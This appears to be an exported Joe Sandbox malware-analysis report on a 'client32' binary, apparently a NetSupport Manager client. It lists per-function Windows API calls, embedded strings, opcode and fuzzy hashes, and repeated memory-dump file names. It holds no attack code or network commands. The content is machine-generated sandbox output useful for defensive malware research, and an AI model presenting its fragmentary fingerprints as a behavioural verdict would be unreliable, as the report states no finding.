Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CapsDevice$CloseProcess$CreateEventMetricsSystem$AddressClassCurrentErrorFileLastModuleNamedOpenPipePriorityProcReleaseStateThreadWindowwsprintf
String ID: CLTCONN.CPP$CacheSize$Error creating hShowPipe, e=%d$Show enabling mirror$View$\\.\pipe\nsm_ctl32_show_%d$idata->hShowEvent
API String ID: 1070019554-2085025582
Opcode ID: 5f45de50552793b09d71f5256d2afdcc192636d6157d8be2c852f61d00b194e5
Instruction ID: a762959b66c2b007555d3d1dad52a1717f1328b6c18758764795a7a29e9eccb5
Opcode Fuzzy Hash: 5f45de50552793b09d71f5256d2afdcc192636d6157d8be2c852f61d00b194e5
Instruction Fuzzy Hash: DBD13F74E007169FDB15CF68C888BEEB7F5BB48304F1085ADE96A97284DB74AA40CF51

Function 1109D0D0 Relevance: 44.0, APIs: 18, Strings: 7, Instructions: 278COMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,00000064,00000000,?,00000000), ref: 1109D152
OpenProcess.KERNEL32(00100000,00000000,?), ref: 1109D175
CloseHandle.KERNEL32(00000000), ref: 1109D180
ResetEvent.KERNEL32(?), ref: 1109D195
ResetEvent.KERNEL32(?), ref: 1109D19B
SetEvent.KERNEL32(?), ref: 1109D1A1

Strings

deadshare, xrefs: 1109D217
..\CTL32\ipc.cpp, xrefs: 1109D31A
no error, xrefs: 1109D3BA
timeout, xrefs: 1109D246
cbdata=%d, datalen-sizeof=%d, xrefs: 1109D303
senderror, xrefs: 1109D3FF
iffy result, xrefs: 1109D425

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Reset$CloseHandleMultipleObjectsOpenProcessWait
String ID: ..\CTL32\ipc.cpp$cbdata=%d, datalen-sizeof=%d$deadshare$iffy result$no error$senderror$timeout
API String ID: 1194186020-3727536503
Opcode ID: 53726f0fd4f3a0fb9772eb67dd7fc1ed00702a47c42144c9a1f6c50b7287015d
Instruction ID: 6b473be9785bc0d4b7e502112369cfe56b08eb277d01e6e1a90085580c10e120
Opcode Fuzzy Hash: 53726f0fd4f3a0fb9772eb67dd7fc1ed00702a47c42144c9a1f6c50b7287015d
Instruction Fuzzy Hash: 49B16FB5A007089BD720CF25D894B5AF7F5BF88314F10CA9DEA4A9B640CB70E981DF60

Function 11005390 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D470: __itow.LIBCMT ref: 1105D495

GetObjectA.GDI32(?,0000003C,?), ref: 11005465

Part of subcall function 1110C4A0: _memset.LIBCMT ref: 1110C4D2

wsprintfA.USER32 ref: 110054BD
DeleteObject.GDI32(?), ref: 11005512
DeleteObject.GDI32(?), ref: 1100551B
SelectObject.GDI32(?,?), ref: 11005532
DeleteObject.GDI32(?), ref: 11005538
DeleteDC.GDI32(?), ref: 1100553E
SelectObject.GDI32(?,?), ref: 1100554F
DeleteObject.GDI32(?), ref: 11005558
DeleteDC.GDI32(?), ref: 1100555E
DeleteObject.GDI32(?), ref: 1100556F
DeleteObject.GDI32(?), ref: 1100559A
DeleteObject.GDI32(?), ref: 110055B8
DeleteObject.GDI32(?), ref: 110055C1
ShowWindow.USER32(?,00000009), ref: 110055EF
PostQuitMessage.USER32(00000000), ref: 110055F7

Strings

PenWidth, xrefs: 1100540D
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 110054B7
FillStyle, xrefs: 11005449
FillColour, xrefs: 1100542B
PenStyle, xrefs: 110053EF
Tool, xrefs: 110053B3
Font, xrefs: 110054CF
Annotate, xrefs: 110053B8, 110053D6, 110053F4, 11005412, 11005430, 1100544E, 110054D4
PenColour, xrefs: 110053D1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Delete$Select$MessagePostQuitShowWindow__itow_memsetwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$FillColour$FillStyle$Font$PenColour$PenStyle$PenWidth$Tool
API String ID: 3453958691-770455996
Opcode ID: a4b3b1cb6e38c4758c195a3c9de24e958abacf994ffaf34fd91b8a055f761e2f
Instruction ID: 0e393dd9f50b4abf726b269e2623b848e1bd90be6afddd879db765a1a84127a1
Opcode Fuzzy Hash: a4b3b1cb6e38c4758c195a3c9de24e958abacf994ffaf34fd91b8a055f761e2f
Instruction Fuzzy Hash: 7A813AB5600605AFE364DBA5C990EABF7F9AF8C304F10450DF6AA97241DA71FC41CB60

Function 11015470 Relevance: 43.7, APIs: 29, Instructions: 170COMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 1101549F
GetWindowRect.USER32(?,?), ref: 110154B7
_memset.LIBCMT ref: 110154C5
CreateFontIndirectA.GDI32(?), ref: 110154E1
SelectObject.GDI32(00000000,00000000), ref: 110154F5
SetBkMode.GDI32(00000000,00000001), ref: 11015500
BeginPath.GDI32(00000000), ref: 1101550D
TextOutA.GDI32(00000000,00000000,00000000), ref: 11015530
EndPath.GDI32(00000000), ref: 11015537
PathToRegion.GDI32(00000000), ref: 1101553E
CreateSolidBrush.GDI32(?), ref: 11015550
CreateSolidBrush.GDI32(?), ref: 11015566
CreatePen.GDI32(00000000,00000002,?), ref: 11015580
SelectObject.GDI32(00000000,00000000), ref: 1101558E
SelectObject.GDI32(00000000,?), ref: 1101559E
GetRgnBox.GDI32(00000000,?), ref: 110155AB
OffsetRgn.GDI32(00000000,?,00000000), ref: 110155CA
FillRgn.GDI32(00000000,00000000,?), ref: 110155D9
FrameRgn.GDI32(00000000,00000000,?,00000002,00000002), ref: 110155EC
DeleteObject.GDI32(00000000), ref: 110155F9
SelectObject.GDI32(00000000,?), ref: 11015603
SelectObject.GDI32(00000000,?), ref: 1101560D
DeleteObject.GDI32(?), ref: 11015616
DeleteObject.GDI32(?), ref: 1101561F
DeleteObject.GDI32(?), ref: 11015628
SelectObject.GDI32(00000000,?), ref: 11015632
DeleteObject.GDI32(?), ref: 1101563B
SetBkMode.GDI32(00000000,?), ref: 11015645
EndPaint.USER32(?,?), ref: 11015659

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$Delete$Create$Path$BeginBrushModePaintSolid$FillFontFrameIndirectOffsetRectRegionTextWindow_memset
String ID:
API String ID: 3702029449-0
Opcode ID: f9345a281c66595ab423393b8d545c26d76a2e4da1908697bef58f556e94efce
Instruction ID: 1c6fdd3f784209e1156a4ff31251cb138f082964e1cd822c4cbcc4281ff6dda7
Opcode Fuzzy Hash: f9345a281c66595ab423393b8d545c26d76a2e4da1908697bef58f556e94efce
Instruction Fuzzy Hash: 2851FC75A01229AFDB11DBA4CC88FAEF7B9FF89304F108199F605D7244DB749A448F62

Function 110457D0 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 345timewindowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(00000000,?,00000040), ref: 11045830
GetDlgItem.USER32(00000000,?), ref: 1104586E
SetWindowTextA.USER32(00000000,00000000), ref: 110458C3
SetDlgItemTextA.USER32(00000000,?,?), ref: 110458E0
SetDlgItemTextA.USER32(00000000,0000046D,?), ref: 110458F5
SetDlgItemTextA.USER32(00000000,0000047B,00000000), ref: 1104591B
GetDlgItem.USER32(00000000,?), ref: 110459A0
GetDlgItem.USER32(00000000,00000001), ref: 110459FD
ShowWindow.USER32(00000000), ref: 11045A00
SetWindowPos.USER32(00000000,00000001,-0000000A,-0000000A,00000000,00000000,00000041,00000000), ref: 11045A83
SetTimer.USER32(00000000,00000001,000003E8,00000000), ref: 11045947

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

SetWindowPos.USER32(00000000,000000FF,?,00000000,00000000,00000000,00000041), ref: 11045AC8
BringWindowToTop.USER32(?), ref: 11045ADC

Part of subcall function 1115B8E0: SetForegroundWindow.USER32(00000000), ref: 1115B90E

MessageBeep.USER32(000000FF), ref: 11045AED

Part of subcall function 11141710: GetVersionExA.KERNEL32(111ECE98,75BF8400), ref: 11141740
Part of subcall function 11141710: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114177F
Part of subcall function 11141710: _memset.LIBCMT ref: 1114179D
Part of subcall function 11141710: _strncpy.LIBCMT ref: 1114186A

GetSystemMetrics.USER32(0000000C), ref: 11045B51
GetSystemMetrics.USER32(0000000B), ref: 11045B56
LoadImageA.USER32(00000000,00000483,00000001,00000000), ref: 11045B66
DestroyCursor.USER32(00000000), ref: 11045B8D

Strings

Register for log off event, xrefs: 11045AF3
Create Message Dialog, xrefs: 11045836
m_hWnd, xrefs: 11045819, 110458B1, 1104592D, 11045A62, 11045AA7
m_idata, xrefs: 110459C4
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11045814, 110458AC, 11045928, 11045A5D, 11045AA2
CLTCONN.CPP, xrefs: 110459BF

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Item$Text$MessageMetricsSystem_memsetwsprintf$BeepBringCursorDestroyErrorExitForegroundImageLastLoadOpenProcessShowTimerVersion_strncpy
String ID: CLTCONN.CPP$Create Message Dialog$Register for log off event$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd$m_idata
API String ID: 220503532-926533556
Opcode ID: 5d5a12d8fcf2b9508c933e6e3dc1f8ac37777a2d10d860efabfe54c1e244523e
Instruction ID: fbb7bb46882f2f9d323433b6bf250fd0ae6c3b835bfed70dc686f61fe2a867e7
Opcode Fuzzy Hash: 5d5a12d8fcf2b9508c933e6e3dc1f8ac37777a2d10d860efabfe54c1e244523e
Instruction Fuzzy Hash: 07C1B475B00716AFE711CBA5CCC1FAAF7E9AF44708F108468F6259B680EB75E940CB51

Function 110037B0 Relevance: 40.7, APIs: 27, Instructions: 240COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 1100380F
InflateRect.USER32(?,000000FF,000000FF), ref: 1100382A
GetSysColor.USER32(00000010), ref: 1100383D
GetSysColor.USER32(00000010), ref: 11003854
GetSysColor.USER32(00000014), ref: 1100386B
GetSysColor.USER32(00000014), ref: 11003882
GetSysColor.USER32(00000014), ref: 110038A5
GetSysColor.USER32(00000014), ref: 110038BC
GetSysColor.USER32(00000010), ref: 110038D3
GetSysColor.USER32(00000010), ref: 110038EA
GetSysColor.USER32(00000004), ref: 11003901
SetBkColor.GDI32(00000000,00000000), ref: 11003908
InflateRect.USER32(?,000000FE,000000FD), ref: 11003916
GetSysColor.USER32(00000010), ref: 11003932
CreatePen.GDI32(?,00000001,00000000), ref: 1100393B
SelectObject.GDI32(00000000,00000000), ref: 11003949
MoveToEx.GDI32(00000000,?,?,00000000), ref: 11003962
LineTo.GDI32(00000000,?,?), ref: 11003976
SelectObject.GDI32(00000000,?), ref: 11003984
DeleteObject.GDI32(?), ref: 1100398E
GetSysColor.USER32(00000014), ref: 1100399C
CreatePen.GDI32(?,00000001,00000000), ref: 110039A5
SelectObject.GDI32(00000000,00000000), ref: 110039B2
MoveToEx.GDI32(00000000,?,?,00000000), ref: 110039CE
LineTo.GDI32(00000000,?,?), ref: 110039E5
SelectObject.GDI32(00000000,?), ref: 110039F3
DeleteObject.GDI32(00000000), ref: 110039FA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$CreateDeleteInflateLineMoveRect
String ID:
API String ID: 1903512896-0
Opcode ID: 1ab8ec13b9c3d8d80ecb74cf7a7032847e3083b317342f6409bc525a428a3736
Instruction ID: 3027e757ba1171f6112b6b60bda5e7e925a43277d9ff2db94d61a7c43587e01c
Opcode Fuzzy Hash: 1ab8ec13b9c3d8d80ecb74cf7a7032847e3083b317342f6409bc525a428a3736
Instruction Fuzzy Hash: B2814FB590030AAFDB14DFA4CC85FBFF7B9EF88304F104A58E611A7285D671A945CBA1

Function 110492D0 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 280COMMON

Download Yara Rule

APIs

Part of subcall function 11141710: GetVersionExA.KERNEL32(111ECE98,75BF8400), ref: 11141740
Part of subcall function 11141710: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114177F
Part of subcall function 11141710: _memset.LIBCMT ref: 1114179D
Part of subcall function 11141710: _strncpy.LIBCMT ref: 1114186A

Part of subcall function 110424D0: SendMessageA.USER32(?,000006D4,00000000,00000000), ref: 1104253A
Part of subcall function 110424D0: GetWindowLongA.USER32(00000000,000000F0), ref: 11042541
Part of subcall function 110424D0: IsWindow.USER32(00000000), ref: 1104254E
Part of subcall function 110424D0: GetWindowRect.USER32(00000000,11049320), ref: 11042565

GetCursorPos.USER32(?), ref: 11049334
WindowFromPoint.USER32(?,?,?,?,00000000), ref: 1104935B
GetClassNameA.USER32(00000000,?,00000040), ref: 1104936D
WaitForInputIdle.USER32(?,000003E8), ref: 11049488
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 1104949B
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 110494A4
GetCursorPos.USER32(?), ref: 110494AD
EnumWindows.USER32(110425D0,?), ref: 11049504
GetWindowRect.USER32(?,?), ref: 11049520
WindowFromPoint.USER32(?,?,?,?,?,?,?,00000000), ref: 1104953A
GetClassNameA.USER32(00000000,?,00000040), ref: 11049549

Strings

*ExitMetroCloseDelay, xrefs: 11049619
NSMCoolbar, xrefs: 11049394, 11049574
"%sNSClientTB.exe", xrefs: 11049431
ActivateStui=%d, @%d,%d, actwin=%x [%s], xrefs: 11049387
Client, xrefs: 110494CF, 1104961E
*ExitMetroBreak, xrefs: 110494BE
ActivateStui=-1, @%d,%d, actwin=%x [%s], xrefs: 11049567
', xrefs: 110495C2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ClassCloseCursorFromHandleNamePointRect$EnumIdleInputLongMessageOpenSendVersionWaitWindows_memset_strncpy
String ID: "%sNSClientTB.exe"$'$*ExitMetroBreak$*ExitMetroCloseDelay$ActivateStui=%d, @%d,%d, actwin=%x [%s]$ActivateStui=-1, @%d,%d, actwin=%x [%s]$Client$NSMCoolbar
API String ID: 4093120923-2853765610
Opcode ID: a37fe7b023270c55d5fac800e6c82e3ef41093a7139e55b8864d2da1d5655942
Instruction ID: 1967bb51930ead73ce48ca5e19d163332f2271a687d5ff16e8e37c73a50f3493
Opcode Fuzzy Hash: a37fe7b023270c55d5fac800e6c82e3ef41093a7139e55b8864d2da1d5655942
Instruction Fuzzy Hash: 82A1C575E01229AFDB11CFA0CCC5FAAB7B9EB4A704F1041F9E919A7280E7316944CF61

Function 110ED290 Relevance: 36.2, APIs: 24, Instructions: 222windowmemoryCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 110ED2AE
GetStockObject.GDI32(0000000F), ref: 110ED2C2
GetDC.USER32(00000000), ref: 110ED33A
SelectPalette.GDI32(00000000,00000000,00000000), ref: 110ED34B
RealizePalette.GDI32(00000000), ref: 110ED351
GlobalAlloc.KERNEL32(00000042,?,00000000), ref: 110ED36C
SelectPalette.GDI32(00000000,?,00000001), ref: 110ED380
RealizePalette.GDI32(00000000), ref: 110ED383
ReleaseDC.USER32(00000000,00000000), ref: 110ED38B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Palette$ObjectRealizeSelect$AllocGlobalReleaseStock
String ID:
API String ID: 1969595663-0
Opcode ID: 460c3ef96ebe8ed115c01ac097ffa682f3726c3033c725e46577f46786f58dec
Instruction ID: 99ab53906cf2362fb71f393f1a059b673ec6ad63d3e9dfc730451934018f7e7b
Opcode Fuzzy Hash: 460c3ef96ebe8ed115c01ac097ffa682f3726c3033c725e46577f46786f58dec
Instruction Fuzzy Hash: 747193B1E01229AFDB01DFE9CC89BEEB7B9FF88714F148056FA15E7244D67499008B61

Function 111032F0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 239libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,DC70C1FE,00000001,?,?,00000000,11185E66,000000FF,?,1110421F,00000000,?,?,?), ref: 1110332D

